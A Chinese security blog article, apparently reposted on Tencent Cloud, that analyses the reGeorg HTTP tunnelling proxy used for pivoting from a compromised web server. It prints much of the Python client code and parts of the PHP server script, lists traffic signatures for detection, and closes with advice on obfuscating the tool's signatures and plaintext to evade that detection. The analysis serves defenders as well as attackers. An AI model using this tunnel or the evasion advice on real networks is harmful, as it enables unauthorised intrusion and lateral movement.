Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >C2服务器隧道代理分析

C2服务器隧道代理分析

作者头像
黑伞安全
发布于 2021-10-14 04:08:18
发布于 2021-10-14 04:08:18
1.4K00
代码可运行
举报
文章被收录于专栏:黑伞安全黑伞安全
运行总次数:0
代码可运行

隧道代理技术

代理是委托一个人找目标,隧道是通过特定的通讯方法,直接找到这个目标;代理最主要的特征是,无论代理后面挂了几个设备,代理对外只表现为一个设备。外部设备以为自己是在和代理交互,而不能感知代理内部的设备。隧道是一个虚拟的路径,用来使到达隧道入口的数据,穿越原本不方便穿越的网络,到达另一侧出口。 代理和隧道概念上虽然有区别,但它们的区别不是本质冲突,可以同时实现,也就是隧道代理,即通过隧道进行代理。

适用场景

一般用在服务器已被getshell,想横向渗透但是因为ACL策略较为严格,只允许某个别协议进出(如http协 议),无法直接将端口转发或者反弹shell。此时可利用允许通行的网络协议构建相关代理隧道,使其成为跳板机。

这里以工具reGeorg为例进行分析。

工作原理流程

reGeorg工具便是利用http协议构建了一个简易的代理隧道,从而实现我们的目的。

流量特征总结

  • 原生代码中客户端与服务端连接时会先发送一个GET请求确认服务端运行是否正常,服务端服务正常则会 返回字符串Georg says, 'All seems fine告知客户端一切就绪。
  • 建立连接之后,客户端仅代理socks的流量,且仅限采用POST请求对服务端进行访问。
  1. 原生代码中,根据此请求对应的功能请求会带有GET和POST参数,形式如:xxx?cmd=xxX-CMD=xx
  2. 原生代码中服务端的响应会根据请求中的内容是否成功实现带有如下关键字:X-STATUSX- ERROR(仅当遭遇错误失败时返回X-ERROR)
  3. 当cmd|X-CMD对应的功能为connect时,会通过target和port两个GET关键字与X-TARGETX- PORT两个POST关键字传递要请求的ip和端口
  4. 当cmd|X-CMD对应的功能为reader时,GET关键字为cmd=read,POST关键字为X-CMD=READ
  5. 当cmd|X-CMD对应的功能为writer时,GET关键字为cmd=forward,POST关键字为X- CMD=FORWARD,且此时http流量报文中header里 Content-Type属性为且仅为 application/octet-stream
  • 原生代码中未对数据做任何加密或混淆操作,纯明文传输。(意味着无论是对敏感数据的访问,还是 payload的发送,任何操作的数据都可以被清晰看到)

功能分析

客户端

  1. 绑定本地指定端口,端口默认情况为8888,起一个SockerServer服务。用来接收需要转发的本地流量
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


servSock = socket(AF_INET, SOCK_STREAM)
servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
servSock.bind((args.listen_on, args.listen_port))
servSock.listen(1000)
while True:
    try:
        sock, addr_info = servSock.accept()
        sock.settimeout(SOCKTIMEOUT)
        log.debug("Incomming connection")
        session(sock, args.url).start()
    except KeyboardInterrupt, ex:
        break
    except Exception, e:
        log.error(e)
servSock.close()
  1. 将流量代理到指定的本地端口
  2. 询问服务端状态,查看是否可以正常提供服务。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制










def askGeorg(connectString):
    connectString = connectString
    o = urlparse(connectString)
    try:
        httpPort = o.port
    except:
        if o.scheme == "https":
            httpPort = 443
        else:
            httpPort = 80
    httpScheme = o.scheme
    httpHost = o.netloc.split(":")[0]
    httpPath = o.path
    if o.scheme == "http":
        httpScheme = urllib3.HTTPConnectionPool
    else:
        httpScheme = urllib3.HTTPSConnectionPool
    conn = httpScheme(host=httpHost, port=httpPort)
    response = conn.request("GET", httpPath)
    if response.status == 200:
        if BASICCHECKSTRING == response.data.strip():
            log.info(BASICCHECKSTRING)
            return True
    conn.close()
return False
if not askGeorg(args.url):
    log.info("Georg is not ready, please check url")
    exit()
  1. 有流量进入后,判断是socks的哪个版本
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制



def handleSocks(self, sock):
    # This is where we setup the socks connection
    ver = sock.recv(1)
    if ver == "\x05":
        return self.parseSocks5(sock)
    elif ver == "\x04":
        return self.parseSocks4(sock)
def run(self):
    try:
        if self.handleSocks(self.pSocket):
···

获取请求的targetIP+Port

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制



def parseSocks5(self, sock):
        log.debug("SocksVersion5 detected")
        nmethods, methods = (sock.recv(1), sock.recv(1))
        sock.sendall(VER + METHOD)
        ver = sock.recv(1)
        if ver == "\x02":  # this is a hack for proxychains
            ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
        else:
            cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
        target = None
        targetPort = None
        if atyp == "\x01":  # IPv4
            # Reading 6 bytes for the IP and Port
            target = sock.recv(4)
            targetPort = sock.recv(2)
            target = "." .join([str(ord(i)) for i in target])
        elif atyp == "\x03":  # Hostname
            targetLen = ord(sock.recv(1))  # hostname length (1 byte)
            target = sock.recv(targetLen)
            targetPort = sock.recv(2)
            target = "".join([unichr(ord(i)) for i in target])
        elif atyp == "\x04":  # IPv6
            target = sock.recv(16)
            targetPort = sock.recv(2)
            tmp_addr = []
            for i in xrange(len(target) / 2):
                tmp_addr.append(unichr(ord(target[2 * i]) * 256 + ord(target[2 * i + 1])))
            target = ":".join(tmp_addr)
        targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1])
        if cmd == "\x02":  # BIND
            raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
        elif cmd == "\x03":  # UDP
            raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
        elif cmd == "\x01":  # CONNECT
            serverIp = target
            try:
                serverIp = gethostbyname(target)
            except:
                log.error("oeps")
            serverIp = "".join([chr(int(i)) for i in serverIp.split(".")])
            self.cookie = self.setupRemoteSession(target, targetPort)
            if self.cookie:
                sock.sendall(VER + SUCCESS + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256))
                return True
            else:
                sock.sendall(VER + REFUSED + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256))
                raise RemoteConnectionFailed("[%s:%d] Remote failed" % (target, targetPort))

        raise SocksCmdNotImplemented("Socks5 - Unknown CMD")
  1. 调用功能CONNECT向服务端发起访问请求。参数是tagetIP+Port 如果请求成功,会将生成的 sessionID保存下来(很重要用来保存整个服务端和Target的Socket会话状态)
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


def setupRemoteSession(self, target, port):
        headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port}
        self.target = target
        self.port = port
        cookie = None
        conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
        # response = conn.request("POST", self.httpPath, params, headers)
        response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="")
        if response.status == 200:
            status = response.getheader("x-status")
            if status == "OK":
                cookie = response.getheader("set-cookie")
                log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie))
            else:
                if response.getheader("X-ERROR") is not None:
                    log.error(response.getheader("X-ERROR"))
        else:
            log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target, self.port, response.status, response.getheader("X-ERROR")))
            log.error("[%s:%d] RemoteError: %s" % (self.target, self.port, response.data))
        conn.close()
        return cookie
  1. 调用功能READ向服务端发起读数据请求,并将读取到的数据发送给相应的本地程序。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制

def reader(self):
        conn = urllib3.PoolManager()
        while True:
            try:
                if not self.pSocket:
                    break
                data = ""
                headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive"}
                response = conn.urlopen('POST', self.connectString + "?cmd=read", headers=headers, body="")
                data = None
                if response.status == 200:
                    status = response.getheader("x-status")
                    if status == "OK":
                        if response.getheader("set-cookie") is not None:
                            cookie = response.getheader("set-cookie")
                        data = response.data
                        # Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters
                        try:
                            if response.getheader("server").find("Apache-Coyote/1.1") > 0:
                                data = data[:len(data) - 1]
                        except:
                            pass
                        if data is None:
                            data = ""
                    else:
                        data = None
                        log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("X-ERROR")))
                else:
                    log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
                if data is None:
                    # Remote socket closed
                    break
                if len(data) == 0:
                    sleep(0.1)
                    continue
                transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data)))
                self.pSocket.send(data)
            except Exception, ex:
                raise ex
        self.closeRemoteSession()
        log.debug("[%s:%d] Closing localsocket" % (self.target, self.port))
        try:
            self.pSocket.close()
        except:
            log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port))

  1. 本地程序接收到到读取的数据后进行自己的处理,并将自己解析处理后的响应数据放到http的data里, 并将标识符设置成FORWARD,发送给服务端。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


def writer(self):
        global READBUFSIZE
        conn = urllib3.PoolManager()
        while True:
            try:
                self.pSocket.settimeout(1)
                data = self.pSocket.recv(READBUFSIZE)
                if not data:
                    break
                headers = {"X-CMD": "FORWARD", "Cookie": self.cookie, "Content-Type": "application/octet-stream", "Connection": "Keep-Alive"}
                response = conn.urlopen('POST', self.connectString + "?cmd=forward", headers=headers, body=data)
                if response.status == 200:
                    status = response.getheader("x-status")
                    if status == "OK":
                        if response.getheader("set-cookie") is not None:
                            self.cookie = response.getheader("set-cookie")
                    else:
                        log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("x-error")))
                        break
                else:
                    log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
                    break
                transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data)))
            except timeout:
                continue
            except Exception, ex:
                raise ex
                break
        self.closeRemoteSession()
        log.debug("Closing localsocket")
        try:
            self.pSocket.close()
        except:
            log.debug("Localsocket already closed")
  1. 之后会根据本地程序的操作是否结束而进入读写循环,若数据交互结束则通过DISCONNECT结束代理连接。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


def closeRemoteSession(self):
        headers = {"X-CMD": "DISCONNECT", "Cookie": self.cookie}
        params = ""
        conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
        response = conn.request("POST", self.httpPath + "?cmd=disconnect", params, headers)
        if response.status == 200:
            log.info("[%s:%d] Connection Terminated" % (self.target, self.port))
        conn.close()

服务端

官方原生代码脚本中根据可能的服务端环境给出了多个版本的服务端脚本。这里以PHP脚本为例: 1. 首先设置相关功能需要的环境条件,如开启文件包含文件引用,导入socket:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制

ini_set("allow_url_fopen", true);
ini_set("allow_url_include", true);
dl("php_sockets.dll");
  1. 接收到请求后根据GET类型和POST类型判断是否为新客户端请求询问服务端是否正常,并返回消息。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


if ($_SERVER['REQUEST_METHOD'] === 'GET')
{
    exit("Georg says, 'All seems fine'");
}
  1. 根据CONNECT请求中的targetIP和port参数与其建立socket连接。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


switch(
  1. 服务端得到客户端发送的READ读取指令后,读取socket数据。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


case "READ":{    @session_start();    
  1. 服务器接收到FORWARD数据后,从客户端请求中获取到响应数据发送给前面建立好的Socket服务。
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制


case "FORWARD":    {        @session_start();        

检测

由对该工具的流量特征总结我们可以知道原生版本的固定特征值,以及其工具完全建立在http协议下,只需要针对http的流量进行相关特征值的检测即可判断是否为原生版本reGeorg。其次,由于该工具对代理的数据是纯明文传输。且最终的目的IP和port会被放到参数中,我们可以检测参数中是否存在连续的明文IP和port以及可能存在的明文形式的协议格式数据或者攻击payload来检测判断。

防御

首先是固定的特征值,考虑到特征值数量很少且长度不长,可以用password设置randsend的方式,让服务端 和客户端分别在本地生成相同的随机数序列,然后将特征值与随机数异或的结果作为传输数据,即不影响传输效率,也可混淆特征值的存在。 其次,关于目标代理数据明文传输的问题,我们可以自行设置数据处理算法对其进行混淆判断即可。也可以考 虑添加脏数据的方式,不过考虑到工具的传输效率问题,不推荐使用脏数据的方式。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Python爬虫之urllib库—爬虫的第一步
第一个爬虫代码的实现我想应该是从urllib开始吧,博主开始学习的时候就是使用urllib库敲了几行代码就实现了简单的爬数据功能,我想大多伙伴们也都是这么过来的。当时的感觉就是:哇,好厉害,短短几行竟然就可以搞定一个看似很复杂的任务,于是就在想这短短的几行代码到底是怎么实现的呢,如何进行更高级复杂的爬取呢?带着这个问题我也就开始了urllib库的学习。
Python数据科学
2018/08/06
6750
Python爬虫之urllib库—爬虫的第一步
Python爬虫之urllib库—进阶篇
urllib库除了一些基础的用法外,还有很多高级的功能,可以更加灵活的适用在爬虫应用中,比如,用HTTP的POST请求方法向服务器提交数据实现用户登录、当服务器检测出频繁使用同一IP而发出禁令时,如何使用代理IP来应对,如何设置超时,以及解析URL方法上的一些处理,本次将会对这些内容进行详细的分析和讲解。
Python数据科学
2018/08/06
5560
Python爬虫之urllib库—进阶篇
Python爬虫基础
Python非常适合用来开发网页爬虫,理由如下: 1、抓取网页本身的接口 相比与其他静态编程语言,如java,c#,c++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib包提供了较为完整的访问网页文档的API。(当然ruby也是很好的选择) 此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。这是我们需要模拟user agent的行为构造合适的请求,譬如模拟用户登陆、模拟session/cookie的存储和设置。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize
用户7678152
2020/08/26
1K0
Python——网络爬虫
此篇文章继续跟着小甲鱼的视频来初学网络爬虫,除了小甲鱼的网站上可下载视频,发现b站上也有全套的视频哦,会比下载来的更方便些。 网络爬虫,又称为网页蜘蛛(WebSpider),非常形象的一个名字。如果你
闪电gogogo
2018/01/08
1.6K0
Python——网络爬虫
Python 爬虫库 urllib 使用详解,真的是总结的太到位了!!
urllib.request定义了一些打开URL的函数和类,包含授权验证、重定向、浏览器cookies等。
用户6888863
2023/03/01
2.1K0
Python 爬虫库 urllib 使用详解,真的是总结的太到位了!!
爬虫能有多难啊?看完这篇,你还不上手?
网络爬虫又称网络蜘蛛、网络机器人,它是一种按照一定的规则自动浏览、检索网页信息的程序或者脚本。网络爬虫能够自动请求网页,并将所需要的数据抓取下来。通过对抓取的数据进行处理,从而提取出有价值的信息。
用户10002156
2023/08/07
2650
爬虫能有多难啊?看完这篇,你还不上手?
不骗你,步步案例,教你一文搞定python爬虫
很久以前写了一篇爬虫的文章,把它放在CSDN上(livan1234)没想到点击量竟然暴涨,足以看到大家在数据获取方面的需求,爬虫技术现在已经非常普遍,其用途也非常广泛,很多牛人在各个领域做过相关的尝试,比如:
数据森麟
2019/09/27
5770
不骗你,步步案例,教你一文搞定python爬虫
爬虫 | urllib入门+糗事百科实战
所谓爬虫(crawler),是指一只小虫子,在网络中爬行,见到有用的东西就会把它拿下来,是我们获取信息的一个重要途径。平常使用的浏览器,它的背后就是一个巨大的爬虫框架,输入我们想要查找的信息,帮我们爬取下来。今天就从较为简单的urllib爬虫开始介绍。
小小詹同学
2021/04/19
3960
爬虫 | urllib入门+糗事百科实战
python爬虫从入门到放弃(三)之 Urllib库的基本使用
 官方文档地址:https://docs.python.org/3/library/urllib.html 什么是Urllib Urllib是python内置的HTTP请求库 包括以下模块 urlli
coders
2018/01/04
1.7K0
python爬虫从入门到放弃(三)之 Urllib库的基本使用
使用 Python 爬取网页数据
urllib 是 Python 內建的 HTTP 库, 使用 urllib 可以只需要很简单的步骤就能高效采集数据; 配合 Beautiful 等 HTML 解析库, 可以编写出用于采集网络数据的大型爬虫;
IMWeb前端团队
2019/12/04
1.7K1
Python爬虫之urllib库—进阶篇
企鹅号小编
2018/01/08
8050
Python爬虫之urllib库—进阶篇
Python网络爬虫(实践篇)
读取内容常见的3种方式,其用法是: file.read()读取文件的全部内容,并把读取到的内容赋给一个字符串变量 file.readlines()读取文件的全部内容,并把读取到的内容赋给一个列表变量 file.readline()读取文件的一行内容
Python研究者
2020/09/28
7790
请求模块urllib的基本使用
✅作者简介:大家好我是hacker707,大家可以叫我hacker 📃个人主页:hacker707的csdn博客 🔥系列专栏:python爬虫 💬推荐一款模拟面试、刷题神器👉点击跳转进入网站 💖在实现网络爬虫的爬取工作时,就必须使用网络请求,只有进行了网络请求才可以对响应结果中的数据进行提取,urllib模块是python自带的网络请求模块,无需安装,导入即可使用。下面将介绍如果使用python中的urllib模块实现网络请求💖 🥳请求模块urllib的基本使用🥳 urllib的子模块
hacker707
2022/11/27
9580
请求模块urllib的基本使用
【Python爬虫】Urllib的使用(2)
这是第二篇介绍爬虫基础知识的文章,之前的文章【Python爬虫】初识爬虫(1)主要是让大家了解爬虫和爬虫需要的基础知识,今天主要给大家介绍Urllib的使用。
PM小王
2019/07/02
6920
【Python爬虫】Urllib的使用(2)
Python库之urllib
['AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'AbstractHTTPHandler', 'BaseHandler', 'CacheFTPHandler', 'ContentTooShortError', 'DataHandler', 'FTPHandler', 'FancyURLopener', 'FileHandler', 'HTTPBasicAuthHandler', 'HTTPCookieProcessor', 'HTTPDefaultErrorHandler', 'HTTPDigestAuthHandler', 'HTTP Error', 'HTTPErrorProcessor', 'HTTPHandler', 'HTTPPasswordMgr', 'HTTPPasswordMgrWithDefaultRealm', 'HTTPPasswordMgrWithPriorAuth', 'HTTPRedirectHandler', 'HTTPSHandler', 'MAXFTPCACHE', 'OpenerDirector', 'ProxyBasicAuthHandler', 'ProxyDigestAuthHandler', 'ProxyHandler', 'Request', 'URLError', 'URLopener',  'UnknownHandler', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '__version__', '_cut_port_re', '_ftperrors', '_have_ssl', '_localhost', '_noheaders', '_opener', '_parse_proxy', '_proxy_bypass_macosx_sysconf', '_randombytes', '_safe_g ethostbyname', '_thishost', '_url_tempfiles', 'addclosehook', 'addinfourl', 'base64', 'bisect', 'build_opener', 'collections', 'contextlib', 'email', 'ftpcache', 'ftperrors', 'ftpwrapper', 'getproxies', 'getproxies_environment', 'getproxies_registry', 'hashlib', 'http', 'install_opener', 'io', 'localhost ', 'noheaders', 'os', 'parse_http_list', 'parse_keqv_list', 'pathname2url', 'posixpath', 'proxy_bypass', 'proxy_bypass_environment', 'proxy_bypass_registry', 'quote', 're', 'request_host', 'socket', 'splitattr', 'splithost', 'splitpasswd', 'splitport', 'splitquery', 'splittag', 'splittype', 'splituser', 'splitvalue', 'ssl', 'string', 'sys', 'tempfile', 'thishost', 'time', 'to_bytes', 'unquote', 'unquote_to_bytes', 'unwrap', 'url2pathname', 'urlcleanup', 'urljoin', 'urlopen', 'urlparse', 'urlretrieve', 'urlsplit', 'urlunparse', 'warnings']
菲宇
2022/12/21
6190
Python库之urllib
Python爬虫技术系列-01请求响应获取-urllib库
参考连接: https://zhuanlan.zhihu.com/p/412408291
IT从业者张某某
2023/10/16
3950
Python爬虫技术系列-01请求响应获取-urllib库
Python爬虫之urllib库—爬虫的第一步
第一个爬虫代码的实现我想应该是从urllib开始吧,博主开始学习的时候就是使用urllib库敲了几行代码就实现了简单的爬数据功能,我想大多伙伴们也都是这么过来的。当时的感觉就是:哇,好厉害,短短几行竟然就可以搞定一个看似很复杂的任务,于是就在想这短短的几行代码到底是怎么实现的呢,如何进行更高级复杂的爬取呢?带着这个问题我也就开始了urllib库的学习。 首先不得不提一下爬取数据的过程,弄清楚这到底是怎样一个过程,学习urllib的时候会更方便理解。 爬虫的过程 其实,爬虫的过程和浏览器浏览网页的过程是一样的
企鹅号小编
2018/01/11
7760
Python爬虫之urllib库—爬虫的第一步
【学习笔记】Python爬虫
URL由协议、主机名、端口、路径、参数、锚点 URLError\HTTPError 后者时前者的子类 用try-except捕获异常
Livinfly
2022/10/26
2.1K0
【爬虫】(一):爬网页、爬图片、自动登录
HTTP是Hyper Text Transfer Protocol(超文本传输协议)的缩写。 用于从WWW服务器传输超文本到本地浏览器的传送协议。
一点儿也不潇洒
2018/08/07
8060
python中的urllib模块中的方法
urllib.request模块定义了一些打开URLs(一般是HTTP协议)复杂操作像是basic 和摘要模式认证,重定向,cookies等的方法和类。这个模块式模拟文件模块实现的,将本地的文件路径改为远程的url。因此函数返回的是类文件对象(file-like object)
py3study
2020/01/09
2.4K0
相关推荐
Python爬虫之urllib库—爬虫的第一步
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验